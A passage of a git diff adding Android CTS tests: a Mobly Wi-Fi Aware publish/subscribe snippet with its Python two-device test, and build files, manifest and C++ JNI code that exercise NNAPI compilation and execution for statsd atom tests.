+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishConfig;
+import android.net.wifi.aware.SubscribeConfig;
+import android.net.wifi.aware.WifiAwareManager;
+import android.net.wifi.aware.WifiAwareSession;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.util.Pair;
+import androidx.test.platform.app.InstrumentationRegistry;
+import com.google.android.mobly.snippet.Snippet;
+import com.google.android.mobly.snippet.rpc.Rpc;
+import com.google.common.collect.ImmutableSet;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/** An example snippet class with a simple Rpc. */
+public class WifiAwareSnippet implements Snippet {
+
+  private static class WifiAwareSnippetException extends Exception {
+    private static final long SERIAL_VERSION_UID = 1;
+
+    public WifiAwareSnippetException(String msg) {
+      super(msg);
+    }
+
+    public WifiAwareSnippetException(String msg, Throwable err) {
+      super(msg, err);
+    }
+  }
+
+  private static final String TAG = "WifiAwareSnippet";
+
+  private static final String SERVICE_NAME = "CtsVerifierTestService";
+  private static final byte[] MATCH_FILTER_BYTES = "bytes used for matching".getBytes(UTF_8);
+  private static final byte[] PUB_SSI = "Extra bytes in the publisher discovery".getBytes(UTF_8);
+  private static final byte[] SUB_SSI =
+      "Arbitrary bytes for the subscribe discovery".getBytes(UTF_8);
+  private static final int LARGE_ENOUGH_DISTANCE = 100000; // 100 meters
+
+  private final WifiAwareManager wifiAwareManager;
+
+  private final Context context;
+
+  private final HandlerThread handlerThread;
+
+  private final Handler handler;
+
+  private WifiAwareSession wifiAwareSession;
+  private DiscoverySession wifiAwareDiscoverySession;
+  private CallbackUtils.DiscoveryCb discoveryCb;
+  private PeerHandle peerHandle;
+
+  public WifiAwareSnippet() {
+    context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    wifiAwareManager = context.getSystemService(WifiAwareManager.class);
+    handlerThread = new HandlerThread("Snippet-Aware");
+    handlerThread.start();
+    handler = new Handler(handlerThread.getLooper());
+  }
+
+  @Rpc(description = "Execute attach.")
+  public void attach() throws InterruptedException, WifiAwareSnippetException {
+    CallbackUtils.AttachCb attachCb = new CallbackUtils.AttachCb();
+    wifiAwareManager.attach(attachCb, handler);
+    Pair<CallbackUtils.AttachCb.CallbackCode, WifiAwareSession> results = attachCb.waitForAttach();
+    if (results.first != CallbackUtils.AttachCb.CallbackCode.ON_ATTACHED) {
+      throw new WifiAwareSnippetException(String.format("executeTest: attach %s", results.first));
+    }
+    wifiAwareSession = results.second;
+    if (wifiAwareSession == null) {
+      throw new WifiAwareSnippetException(
+          "executeTest: attach callback succeeded but null session returned!?");
+    }
+  }
+
+  @Rpc(description = "Execute subscribe.")
+  public void subscribe(Boolean isUnsolicited, Boolean isRangingRequired)
+      throws InterruptedException, WifiAwareSnippetException {
+    discoveryCb = new CallbackUtils.DiscoveryCb();
+
+    List<byte[]> matchFilter = new ArrayList<>();
+    matchFilter.add(MATCH_FILTER_BYTES);
+    SubscribeConfig.Builder builder =
+        new SubscribeConfig.Builder()
+            .setServiceName(SERVICE_NAME)
+            .setServiceSpecificInfo(SUB_SSI)
+            .setMatchFilter(matchFilter)
+            .setSubscribeType(
+                isUnsolicited
+                    ? SubscribeConfig.SUBSCRIBE_TYPE_PASSIVE
+                    : SubscribeConfig.SUBSCRIBE_TYPE_ACTIVE)
+            .setTerminateNotificationEnabled(true);
+
+    if (isRangingRequired) {
+      // set up a distance that will always trigger - i.e. that we're already in that range
+      builder.setMaxDistanceMm(LARGE_ENOUGH_DISTANCE);
+    }
+    SubscribeConfig subscribeConfig = builder.build();
+    Log.d(TAG, "executeTestSubscriber: subscribeConfig=" + subscribeConfig);
+    wifiAwareSession.subscribe(subscribeConfig, discoveryCb, handler);
+
+    // wait for results - subscribe session
+    CallbackUtils.DiscoveryCb.CallbackData callbackData =
+        discoveryCb.waitForCallbacks(
+            ImmutableSet.of(
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_SUBSCRIBE_STARTED,
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_SESSION_CONFIG_FAILED));
+    if (callbackData.callbackCode != CallbackUtils.DiscoveryCb.CallbackCode.ON_SUBSCRIBE_STARTED) {
+      throw new WifiAwareSnippetException(
+          String.format("executeTestSubscriber: subscribe %s", callbackData.callbackCode));
+    }
+    wifiAwareDiscoverySession = callbackData.subscribeDiscoverySession;
+    if (wifiAwareDiscoverySession == null) {
+      throw new WifiAwareSnippetException(
+          "executeTestSubscriber: subscribe succeeded but null session returned");
+    }
+    Log.d(TAG, "executeTestSubscriber: subscribe succeeded");
+
+    // 3. wait for discovery
+    callbackData =
+        discoveryCb.waitForCallbacks(
+            ImmutableSet.of(
+                isRangingRequired
+                    ? CallbackUtils.DiscoveryCb.CallbackCode.ON_SERVICE_DISCOVERED_WITH_RANGE
+                    : CallbackUtils.DiscoveryCb.CallbackCode.ON_SERVICE_DISCOVERED));
+
+    if (callbackData.callbackCode == CallbackUtils.DiscoveryCb.CallbackCode.TIMEOUT) {
+      throw new WifiAwareSnippetException("executeTestSubscriber: waiting for discovery TIMEOUT");
+    }
+    peerHandle = callbackData.peerHandle;
+    if (!isRangingRequired) {
+      Log.d(TAG, "executeTestSubscriber: discovery");
+    } else {
+      Log.d(TAG, "executeTestSubscriber: discovery with range=" + callbackData.distanceMm);
+    }
+
+    if (!Arrays.equals(PUB_SSI, callbackData.serviceSpecificInfo)) {
+      throw new WifiAwareSnippetException(
+          "executeTestSubscriber: discovery but SSI mismatch: rx='"
+              + new String(callbackData.serviceSpecificInfo, UTF_8)
+              + "'");
+    }
+    if (callbackData.matchFilter.size() != 1
+        || !Arrays.equals(MATCH_FILTER_BYTES, callbackData.matchFilter.get(0))) {
+      StringBuilder sb = new StringBuilder();
+      sb.append("size=").append(callbackData.matchFilter.size());
+      for (byte[] mf : callbackData.matchFilter) {
+        sb.append(", e='").append(new String(mf, UTF_8)).append("'");
+      }
+      throw new WifiAwareSnippetException(
+          "executeTestSubscriber: discovery but matchFilter mismatch: " + sb);
+    }
+    if (peerHandle == null) {
+      throw new WifiAwareSnippetException("executeTestSubscriber: discovery but null peerHandle");
+    }
+  }
+
+  @Rpc(description = "Send message.")
+  public void sendMessage(int messageId, String message)
+      throws InterruptedException, WifiAwareSnippetException {
+    // 4. send message & wait for send status
+    wifiAwareDiscoverySession.sendMessage(peerHandle, messageId, message.getBytes(UTF_8));
+    CallbackUtils.DiscoveryCb.CallbackData callbackData =
+        discoveryCb.waitForCallbacks(
+            ImmutableSet.of(
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_MESSAGE_SEND_SUCCEEDED,
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_MESSAGE_SEND_FAILED));
+
+    if (callbackData.callbackCode
+        != CallbackUtils.DiscoveryCb.CallbackCode.ON_MESSAGE_SEND_SUCCEEDED) {
+      throw new WifiAwareSnippetException(
+          String.format("executeTestSubscriber: sendMessage %s", callbackData.callbackCode));
+    }
+    Log.d(TAG, "executeTestSubscriber: send message succeeded");
+    if (callbackData.messageId != messageId) {
+      throw new WifiAwareSnippetException(
+          "executeTestSubscriber: send message message ID mismatch: " + callbackData.messageId);
+    }
+  }
+
+  @Rpc(description = "Create publish session.")
+  public void publish(Boolean isUnsolicited, Boolean isRangingRequired)
+      throws WifiAwareSnippetException, InterruptedException {
+    discoveryCb = new CallbackUtils.DiscoveryCb();
+
+    // 2. publish
+    List<byte[]> matchFilter = new ArrayList<>();
+    matchFilter.add(MATCH_FILTER_BYTES);
+    PublishConfig publishConfig =
+        new PublishConfig.Builder()
+            .setServiceName(SERVICE_NAME)
+            .setServiceSpecificInfo(PUB_SSI)
+            .setMatchFilter(matchFilter)
+            .setPublishType(
+                isUnsolicited
+                    ? PublishConfig.PUBLISH_TYPE_UNSOLICITED
+                    : PublishConfig.PUBLISH_TYPE_SOLICITED)
+            .setTerminateNotificationEnabled(true)
+            .setRangingEnabled(isRangingRequired)
+            .build();
+    Log.d(TAG, "executeTestPublisher: publishConfig=" + publishConfig);
+    wifiAwareSession.publish(publishConfig, discoveryCb, handler);
+
+    //    wait for results - publish session
+    CallbackUtils.DiscoveryCb.CallbackData callbackData =
+        discoveryCb.waitForCallbacks(
+            ImmutableSet.of(
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_PUBLISH_STARTED,
+                CallbackUtils.DiscoveryCb.CallbackCode.ON_SESSION_CONFIG_FAILED));
+    if (callbackData.callbackCode != CallbackUtils.DiscoveryCb.CallbackCode.ON_PUBLISH_STARTED) {
+      throw new WifiAwareSnippetException(
+          String.format("executeTestPublisher: publish %s", callbackData.callbackCode));
+    }
+    wifiAwareDiscoverySession = callbackData.publishDiscoverySession;
+    if (wifiAwareDiscoverySession == null) {
+      throw new WifiAwareSnippetException(
+          "executeTestPublisher: publish succeeded but null session returned");
+    }
+    Log.d(TAG, "executeTestPublisher: publish succeeded");
+  }
+
+  @Rpc(description = "Receive message.")
+  public String receiveMessage() throws WifiAwareSnippetException, InterruptedException {
+    // 3. wait to receive message.
+    CallbackUtils.DiscoveryCb.CallbackData callbackData =
+        discoveryCb.waitForCallbacks(
+            ImmutableSet.of(CallbackUtils.DiscoveryCb.CallbackCode.ON_MESSAGE_RECEIVED));
+    peerHandle = callbackData.peerHandle;
+    Log.d(TAG, "executeTestPublisher: received message");
+
+    if (peerHandle == null) {
+      throw new WifiAwareSnippetException(
+          "executeTestPublisher: received message but peerHandle is null!?");
+    }
+    return new String(callbackData.serviceSpecificInfo, UTF_8);
+  }
+
+  @Override
+  public void shutdown() {
+    if (wifiAwareDiscoverySession != null) {
+      wifiAwareDiscoverySession.close();
+      wifiAwareDiscoverySession = null;
+    }
+    if (wifiAwareSession != null) {
+      wifiAwareSession.close();
+      wifiAwareSession = null;
+    }
+  }
+}
diff --git a/hostsidetests/multidevices/wifi_aware/wifi_aware_test.py b/hostsidetests/multidevices/wifi_aware/wifi_aware_test.py
new file mode 100644
index 0000000..d2ab7df
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/wifi_aware_test.py
@@ -0,0 +1,69 @@
+# Lint as: python3
+"""CTS-V Wifi test reimplemented in Mobly."""
+import sys
+import os.path
+
+import logging
+logging.basicConfig(filename="/tmp/wifi_aware_test_log.txt", level=logging.INFO)
+
+from mobly import asserts
+from mobly import base_test
+from mobly import test_runner
+from mobly import utils
+from mobly.controllers import android_device
+
+WIFI_AWARE_SNIPPET_PATH = 'wifi_aware_snippet.apk'
+
+WIFI_AWARE_SNIPPET_PACKAGE = 'com.google.snippet'
+
+TEST_MESSAGE = 'test message!'
+
+MESSAGE_ID = 1234
+
+
+class WifiAwareTest(base_test.BaseTestClass):
+
+  def setup_class(self):
+    # Declare that two Android devices are needed.
+    self.publisher, self.subscriber = self.register_controller(
+      android_device, min_number=2)
+
+    def setup_device(device):
+      # Expect wifi_aware apk to be installed as it is configured to install
+      # with the module configuration AndroidTest.xml on both devices.
+      device.adb.shell([
+          'pm', 'grant', WIFI_AWARE_SNIPPET_PACKAGE,
+          'android.permission.ACCESS_FINE_LOCATION'
+      ])
+      device.load_snippet('wifi_aware_snippet', WIFI_AWARE_SNIPPET_PACKAGE)
+
+    # Sets up devices in parallel to save time.
+    utils.concurrent_exec(
+        setup_device, ((self.publisher,), (self.subscriber,)),
+        max_workers=2,
+        raise_on_exception=True)
+
+  def test_discovery_base_test_case(self):
+    is_unsolicited = True
+    is_ranging_required = False
+    self.subscriber.wifi_aware_snippet.attach()
+    self.publisher.wifi_aware_snippet.attach()
+
+    self.publisher.wifi_aware_snippet.publish(is_unsolicited,
+                                              is_ranging_required)
+    self.subscriber.wifi_aware_snippet.subscribe(is_unsolicited,
+                                                 is_ranging_required)
+
+    self.subscriber.wifi_aware_snippet.sendMessage(MESSAGE_ID, TEST_MESSAGE)
+    received_message = self.publisher.wifi_aware_snippet.receiveMessage()
+    asserts.assert_equal(
+        received_message, TEST_MESSAGE,
+        'Message received by publisher does not match the message sent by subscriber.'
+    )
+
+if __name__ == '__main__':
+  # Take test args
+  index = sys.argv.index('--')
+  sys.argv = sys.argv[:1] + sys.argv[index + 1:]
+
+  test_runner.main()
diff --git a/hostsidetests/multiuser/OWNERS b/hostsidetests/multiuser/OWNERS
index 2b344eb..cbd8eb1 100644
--- a/hostsidetests/multiuser/OWNERS
+++ b/hostsidetests/multiuser/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 71510
 include /tests/app/OWNERS
-
-bookatz@google.com
+include platform/frameworks/base:/MULTIUSER_OWNERS
diff --git a/hostsidetests/neuralnetworks/Android.bp b/hostsidetests/neuralnetworks/Android.bp
new file mode 100644
index 0000000..ba128cf
--- /dev/null
+++ b/hostsidetests/neuralnetworks/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsNNAPIStatsdAtomHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "mts-neuralnetworks",
+    ],
+    libs: [
+        "tradefed",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    data: [
+        ":CtsNnapiStatsdAtomApp",
+    ],
+}
diff --git a/hostsidetests/neuralnetworks/AndroidTest.xml b/hostsidetests/neuralnetworks/AndroidTest.xml
new file mode 100644
index 0000000..29bc369
--- /dev/null
+++ b/hostsidetests/neuralnetworks/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS NNAPI statsd atom host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.neuralnetworks.apex" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsNNAPIStatsdAtomHostTestCases.jar" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.neuralnetworks" />
+    </object>
+</configuration>
diff --git a/hostsidetests/neuralnetworks/OWNERS b/hostsidetests/neuralnetworks/OWNERS
new file mode 100644
index 0000000..04c5d72
--- /dev/null
+++ b/hostsidetests/neuralnetworks/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 195575
+include platform/packages/modules/NeuralNetworks:/NNAPI_OWNERS  # Neuralnetworks team
diff --git a/hostsidetests/neuralnetworks/TEST_MAPPING b/hostsidetests/neuralnetworks/TEST_MAPPING
new file mode 100644
index 0000000..6bcf80c
--- /dev/null
+++ b/hostsidetests/neuralnetworks/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "mainline-presubmit": [
+    {
+      "name": "CtsNNAPIStatsdAtomHostTestCases[com.google.android.neuralnetworks.apex]"
+    }
+  ],
+  "presubmit": [
+    {
+      "name": "CtsNNAPIStatsdAtomHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/neuralnetworks/app/Android.bp b/hostsidetests/neuralnetworks/app/Android.bp
new file mode 100644
index 0000000..1a9f00c
--- /dev/null
+++ b/hostsidetests/neuralnetworks/app/Android.bp
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "libneuralnetworkshelper_statsdatom",
+    srcs: ["jni/trigger_libneuralnetworks_atoms.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "liblog",
+        "libnativewindow",
+        "libneuralnetworks",
+    ],
+    static_libs: ["libbase_ndk"],
+    stl: "c++_static",
+    sdk_version: "current",
+    min_sdk_version: "29",
+}
+
+android_test_helper_app {
+    name: "CtsNnapiStatsdAtomApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    min_sdk_version: "29",
+    srcs: [
+        "src/**/*.java",
+    ],
+    privileged: true,
+    jni_libs: [
+        "libneuralnetworkshelper_statsdatom",
+    ],
+    compile_multilib: "both",
+    v4_signature: true,
+}
diff --git a/hostsidetests/neuralnetworks/app/AndroidManifest.xml b/hostsidetests/neuralnetworks/app/AndroidManifest.xml
new file mode 100755
index 0000000..6d5ab81
--- /dev/null
+++ b/hostsidetests/neuralnetworks/app/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.nn.stats.app">
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31" />
+
+    <application>
+        <activity android:name=".NnapiDeviceActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/neuralnetworks/app/jni/trigger_libneuralnetworks_atoms.cpp b/hostsidetests/neuralnetworks/app/jni/trigger_libneuralnetworks_atoms.cpp
new file mode 100644
index 0000000..e756494
--- /dev/null
+++ b/hostsidetests/neuralnetworks/app/jni/trigger_libneuralnetworks_atoms.cpp
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#if __has_include("NeuralNetworks.h")
+#include <NeuralNetworks.h>
+#else // __has_include("NeuralNetworks.h")
+#include <android/NeuralNetworks.h>
+#endif // __has_include("NeuralNetworks.h")
+
+#include <android-base/logging.h>
+#include <jni.h>
+
+#include <chrono>
+#include <thread>
+
+namespace {
+
+using Matrix3x4 = float[3][4];
+using InsufficientMatrixSize = float[2][3];
+
+const int32_t kNoActivation = ANEURALNETWORKS_FUSED_NONE;
+const uint32_t kDimensions[] = {3, 4};
+const uint32_t kOperationInputs[] = {0, 1, 3};
+const uint32_t kOperationOutputs[] = {2};
+const uint32_t kModelInputs[] = {0, 1};
+const uint32_t kModelOutputs[] = {2};
+const uint32_t kDimensionsUnknown[] = {0, 0};
+
+const ANeuralNetworksOperandType kMatrixType{
+        .type = ANEURALNETWORKS_TENSOR_FLOAT32,
+        .dimensionCount = std::size(kDimensions),
+        .dimensions = std::data(kDimensions),
+        .scale = 0.0f,
+        .zeroPoint = 0,
+};
+const ANeuralNetworksOperandType kScalarType{
+        .type = ANEURALNETWORKS_INT32,
+        .dimensionCount = 0,
+        .dimensions = nullptr,
+        .scale = 0.0f,
+        .zeroPoint = 0,
+};
+const ANeuralNetworksOperandType kMatrixUnknownDimensionsType{
+        .type = ANEURALNETWORKS_TENSOR_FLOAT32,
+        .dimensionCount = std::size(kDimensionsUnknown),
+        .dimensions = std::data(kDimensionsUnknown),
+        .scale = 0.0f,
+        .zeroPoint = 0,
+};
+
+const Matrix3x4 kMatrix1 = {{1.f, 2.f, 3.f, 4.f}, {5.f, 6.f, 7.f, 8.f}, {9.f, 10.f, 11.f, 12.f}};
+const Matrix3x4 kMatrix2 = {{100.f, 200.f, 300.f, 400.f},
+                            {500.f, 600.f, 700.f, 800.f},
+                            {900.f, 1000.f, 1100.f, 1200.f}};
+
+// Create a model that can add two tensors using a one node graph.
+void compilationSuccess() {
+    // Create model
+    ANeuralNetworksModel* model = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_create(&model));
+    CHECK(model != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kScalarType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_setOperandValue(model, 3, &kNoActivation, sizeof(kNoActivation)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_addOperation(model, ANEURALNETWORKS_ADD,
+                                               std::size(kOperationInputs),
+                                               std::data(kOperationInputs),
+                                               std::size(kOperationOutputs),
+                                               std::data(kOperationOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_identifyInputsAndOutputs(model, std::size(kModelInputs),
+                                                           std::data(kModelInputs),
+                                                           std::size(kModelOutputs),
+                                                           std::data(kModelOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_finish(model));
+
+    // Create compilation
+    ANeuralNetworksCompilation* compilation = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_create(model, &compilation));
+    CHECK(compilation != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_finish(compilation));
+
+    // Cleanup
+    ANeuralNetworksCompilation_free(compilation);
+    ANeuralNetworksModel_free(model);
+}
+
+// Create a model that can add two tensors using a one node graph.
+void compilationFailure() {
+    // Create model
+    ANeuralNetworksModel* model = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_create(&model));
+    CHECK(model != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kScalarType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_setOperandValue(model, 3, &kNoActivation, sizeof(kNoActivation)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_addOperation(model, ANEURALNETWORKS_ADD,
+                                               std::size(kOperationInputs),
+                                               std::data(kOperationInputs),
+                                               std::size(kOperationOutputs),
+                                               std::data(kOperationOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_identifyInputsAndOutputs(model, std::size(kModelInputs),
+                                                           std::data(kModelInputs),
+                                                           std::size(kModelOutputs),
+                                                           std::data(kModelOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_finish(model));
+
+    // Create compilation
+    ANeuralNetworksCompilation* compilation = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_create(model, &compilation));
+    CHECK(compilation != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_finish(compilation));
+    // Second call to CompilationFinish fails.
+    CHECK_EQ(ANEURALNETWORKS_BAD_STATE, ANeuralNetworksCompilation_finish(compilation));
+
+    // Cleanup
+    ANeuralNetworksModel_free(model);
+}
+
+// Create a model that can add two tensors using a one node graph.
+void executionSuccess() {
+    // Create model
+    ANeuralNetworksModel* model = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_create(&model));
+    CHECK(model != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kScalarType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_setOperandValue(model, 3, &kNoActivation, sizeof(kNoActivation)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_addOperation(model, ANEURALNETWORKS_ADD,
+                                               std::size(kOperationInputs),
+                                               std::data(kOperationInputs),
+                                               std::size(kOperationOutputs),
+                                               std::data(kOperationOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_identifyInputsAndOutputs(model, std::size(kModelInputs),
+                                                           std::data(kModelInputs),
+                                                           std::size(kModelOutputs),
+                                                           std::data(kModelOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_finish(model));
+
+    // Create compilation
+    ANeuralNetworksCompilation* compilation = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_create(model, &compilation));
+    CHECK(compilation != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksCompilation_finish(compilation));
+
+    // Create execution
+    Matrix3x4 output;
+    ANeuralNetworksExecution* execution = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksExecution_create(compilation, &execution));
+    CHECK(execution != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setInput(execution, 0, nullptr, &kMatrix1, sizeof(kMatrix1)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setInput(execution, 1, nullptr, &kMatrix2, sizeof(kMatrix2)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksExecution_setOutput(execution, 0, nullptr, &output, sizeof(output)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksExecution_compute(execution));
+
+    // Cleanup
+    ANeuralNetworksExecution_free(execution);
+    ANeuralNetworksCompilation_free(compilation);
+    ANeuralNetworksModel_free(model);
+}
+
+// Create a model that can add two tensors using a one node graph.
+void executionFailure() {
+    // Create model
+    ANeuralNetworksModel* model = nullptr;
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_create(&model));
+    CHECK(model != nullptr);
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kMatrixType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_addOperand(model, &kMatrixUnknownDimensionsType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR, ANeuralNetworksModel_addOperand(model, &kScalarType));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_setOperandValue(model, 3, &kNoActivation, sizeof(kNoActivation)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
+             ANeuralNetworksModel_addOperation(model, ANEURALNETWORKS_ADD,
+                                               std::size(kOperationInputs),
+                                               std::data(kOperationInputs),
+                                               std::size(kOperationOutputs),
+                                               std::data(kOperationOutputs)));
+    CHECK_EQ(ANEURALNETWORKS_NO_ERROR,
